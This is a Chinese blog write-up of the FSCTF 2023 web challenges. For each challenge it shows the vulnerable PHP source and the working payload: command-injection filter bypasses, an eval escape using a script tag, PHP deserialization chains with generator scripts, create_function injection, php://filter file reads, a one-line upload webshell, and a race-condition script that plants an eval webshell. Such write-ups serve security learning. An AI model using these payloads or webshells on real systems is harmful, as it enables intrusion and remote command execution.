FSCTF 2023 WEB

文章讲述了参与者在FSCTF2023WEB挑战中遇到的PHP环境安全问题,涉及webshell的识别、PHP代码分析、命令执行绕过、字符串操作和安全漏洞利用技巧。作者详细描述了解决过程,包括使用伪协议、eval函数和魔术方法绕过过滤机制获取flag。
摘要由CSDN通过智能技术生成

FSCTF 2023 WEB

源码!启动!

f12查看源码被禁用,直接ctrl+u查看源码,拉到底部就是flag

webshell是啥捏

在php中把$😭echo一下得知其为passthru,可以配合传入的 👽 进行命令执行,直接传入ls /扫出flag,然后cat一下就得到flag了

细狗2.0

手动测试,根据回显可以得知过滤了空格和cat,空格用${IFS}代替,cai用tac代替即可,最终payload如下

;tac${IFS}/f*

EZ_eval

进题得到源码如下

<?php
    if(isset($_GET['word'])){
    $word = $_GET['word'];
    if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
       die("nonono.");
    }
    $word = str_replace("?", "", $word);
    eval("?>". $word);
}else{
    highlight_file(__FILE__);
}

对代码进行分析可以得知我们需要传入word的值,并且对word进行了一系列的过滤,对于读取文件内容命令的过滤用反斜杠绕过(ca\t),引号绕过(ca""t)或者使用strings等均可,对于空格的过滤,使用%09即可,接下来还过滤了?,并且用闭合符(?>)把eval给隔离了,可以考虑使用如下标签

<script language='php'> </script>

最终传入的payload如下

?word=<script%09language='php'>system('strings%09/f*');</script>

Hello,you

F12后得到如下源码

<!--
$input = isset($_GET['input']) ? $_GET['input'] : '';

// 执行命令并返回结果
function executeCommand($command) {
    $output = '';
    exec($command, $output);
    return $output;
}

// 注册用户
function registerUser($username) {
    // ......... 
    $command = "echo Hello, " . $username;
    $result = executeCommand($command);
    return $result;
}

// 处理注册请求
if (isset($_POST['submit'])) {
    $username = $_POST['username'];
    $result = registerUser($username);
}
-->

大致思路就是在传入的username中用;隔开,然后写上命令执行部分,测试过程中发现cat又被过滤了,继续反斜杠绕过,payload如下

;ca\t f*

ez_php1

进题源码如下

<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
    echo "!!!";
    $c = $_POST['FL_AG'];
    if(isset($c))
    {
        if (preg_match('/^.*(flag).*$/', $ja)) {
            echo 'You are bad guy!!!';
        }
            else {
                echo "Congratulation!!";
                echo $hint1;
            }
    }
    else {
        echo "Please input my love FL_AG";
    }
} else{
    die("game over!");
}

首先第一部分要求传入的a和b不同但是MD5加密后相同,用数组绕过即可,然后是对传入的FL_AG进行过滤,于是先传入如下内容以获取hint1

GET: ?a[]=1&b[]=2
POST: FL_AG=1

得到了 L0vey0U.php ,前往查看,得到如下代码

<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{
    echo "$hint2";
}
?>

使得传入的str反序列化后等于KEY即可,传入,如下payload得到hint2

?str=s:10:"YES I love";

hint2为 P0int.php ,前往查看,内容如下

<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
@unserialize($_POST['data']);

?>

简单的反序列化,最终payload如下

data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

传入后将得到的base64字符串解码即可得到flag

巴巴托斯!

进题后看到如下文字 Access Denied! I love FSCTF Browser ,推测可能是要求从FSCTF浏览器进入,于是抓包修改UA头随后又要求从本地进入,于是增加Referer字段,在之后的回显中没有看到任何提示,观察一会后发现url中有用file进行传参,于是使用php伪协议,内容如下

file=php://filter/read=convert.base64-encode/resource=flag.php

成功得到flag

寻找蛛丝马迹

先F12在源码中找到前三段flag,根据第三段的提示:我不想让谷歌搜到我的网站,猜测可能是要修改UA头,改成了火狐的UA头,没有任何作用,用dirsearch扫一下,扫出了robots.txt和www.zip,前往查看,虽然得到第四段flag和最后一段flag了,但是关于第五段的提示是中文乱码,于是用火狐浏览器打开,使用恢复文字编码工具,顺利得到提示,提示内容是和苹果有点关系,那么应该就是 .DS_store 了,前往得到第五段flag,提示说还剩最后一个是备份文件,那应该就是之前扫出来的www.zip了,最后拼接一下就得到了完整的flag了

是兄弟,就来传你の🐎!

题目说是上传一个php文件,但是上传后果然被拦截了,在bp中对后缀进行修改,发现php,php3,php4,php5,phtml均被过滤,只剩pht可行,上传后提示说这不是图片文件,于是修改文件类型,添加文件头,上传后发现对文件长度也有限制,有点束手无策了,去看了其他师傅的wp之后得知GIF89a可以直接写成GIF或者用BM头,也会判断成图片,同时直接输出根目录的所有内容,文件内容如下

BM<?=`nl /*`;

传入后得到一个路径,前往查看即可得到flag

ez_php2

进题代码如下

<?php
highlight_file(__file__);
Class Rd{
    public $ending;
    public $cl;

    public $poc;
    public function __destruct()
    {
        echo "All matters have concluded";
        die($this->ending);
    }
    public function __call($name, $arg)
    {
        foreach ($arg as $key =>$value)
        {

            if($arg[0]['POC']=="1111")
            {
                echo "1";
                $this->cl->var1 = "system";
            }
        }
    }
}


class Poc{
    public $payload;

    public $fun;

    public function __set($name, $value)
    {
        $this->payload = $name;
        $this->fun = $value;
    }

    function getflag($paylaod)
    {
        echo "Have you genuinely accomplished what you set out to do?";
        file_get_contents($paylaod);
    }
}

class Er{
    public $symbol;
    public $Flag;

    public function __construct()
    {
        $this->symbol = True;
    }

    public function __set($name, $value)
    {
        $value($this->Flag);
    }


}

class Ha{
    public $start;
    public $start1;
    public $start2;
    public function __construct()
    {
        echo $this->start1."__construct"."</br>";
    }

    public function __destruct()
    {
        if($this->start2==="11111") {
            $this->start1->Love($this->start);
            echo "You are Good!";
        }
    }
}


if(isset($_GET['Ha_rde_r']))
{
    unserialize($_GET['Ha_rde_r']);
} else{
    die("You are Silly goose!");
}
?>

反序列化题,先对代码进行审计,有__destruct,__construct,__call,__set魔术方法,前两个魔术方法分别是在某个对象被删除和被构造的时候触发,__call方法则是在调用一个错误(不存在或无法访问)的方法时触发,__set方法在调用一个不存在的成员变量时触发,同时给这个不存在的成员变量赋值,开始找链子,入口应该是在Ha里面,触发__destruct方法后,给start2赋值"11111",进入 t h i s − > s t a r t 1 − > L o v e ( this->start1->Love( this>start1>Love(this->start);语句,使得其触发__call方法,然后给start赋值[‘POC’=>‘1111’],进入if语句,然后通过其中的varl触发__set方法,然后value就成为了system,修改$Flag就可以修改执行的命令了,脚本如下

<?php
Class Rd{
    public $cl;
}
class Er{
    public $Flag='cat /f*';
}
class Ha{
    public $start;
    public $start1;
    public $start2="11111";
}

$a=new Ha();
$a->start1=new Rd();
$a->start=['POC'=>'1111'];
$a->start1->cl=new Er();
echo serialize($a);
?>

签到plus

进题后提示说根目录下没有内容,于是用dirsearch扫一下,扫到了shell.php,进入查看发现是环境变量,ctrl+f查找到了flag,不过提交后发现是假的,又没想法了,去搜了一下得知是php7.4.21的文件泄露,在bp中发送如下内容

GET /shell.php HTTP/1.1
Host: node4.anna.nssctf.cn:28013


GET / HTTP/1.1

然后将得到的内容转成txt进行读取,发现和webshell是啥捏是类似的题目,具体做法就不再赘述了

CanCanNeed

进题后代码如下

<?php
class Noteasy{
    protected $param1;
    protected $param2;
    
    function __destruct(){
        $a=$this->param1;
        $b=$this->param2;
        if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) { 
            die('this param is error!'); 
        } else { 
            $a('', $b); 
        }
    }
    
}
if (!isset($_GET['file'])){    
    show_source('index.php');
    echo "Hi!Welcome to FSCTF2023!";
  }
  else{ 
    $file=base64_decode($_GET['file']); 
    unserialize($file); }
?>

看到**$a(‘’, $b);** 可知是create_function()函数利用,exp如下

<?php
class Noteasy{
    protected $param1 = 'create_function';
    protected $param2 = "}require(base64_decode(ZmlsZTovLy9mbGFn));//"; //base64_decode(ZmlsZTovLy9mbGFn)===require(file:///flag)
 
}
$a = new Noteasy();
echo base64_encode(serialize($a));

原本是打算通过通过base64加密cat等读取命令绕过过滤直接读取的,但是发现还过滤了等号,导致许多base64加密后还是被过滤,看了其他师傅的wp后知道了还可以使用伪协议读取

加速加速

结合题目标签可知是条件竞争,直接使用如下脚本后用蚁剑连接shell.php即可

import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):
 url = 'http://node4.anna.nssctf.cn:28908/index.php'
 files = {'upload_file': (
 'a.php',"<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>' ); ?>")}
 data = {'submit': '上传'}
 r = requests.post(url=url, data=data, files=files)
 re = requests.get('http://node4.anna.nssctf.cn:28908//upload/a.php')
 if re.status_code == 200:
   print('上传成功')
if __name__ == '__main__':
 with ThreadPoolExecutor(50) as p:
   p.map(td, range(2000))

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值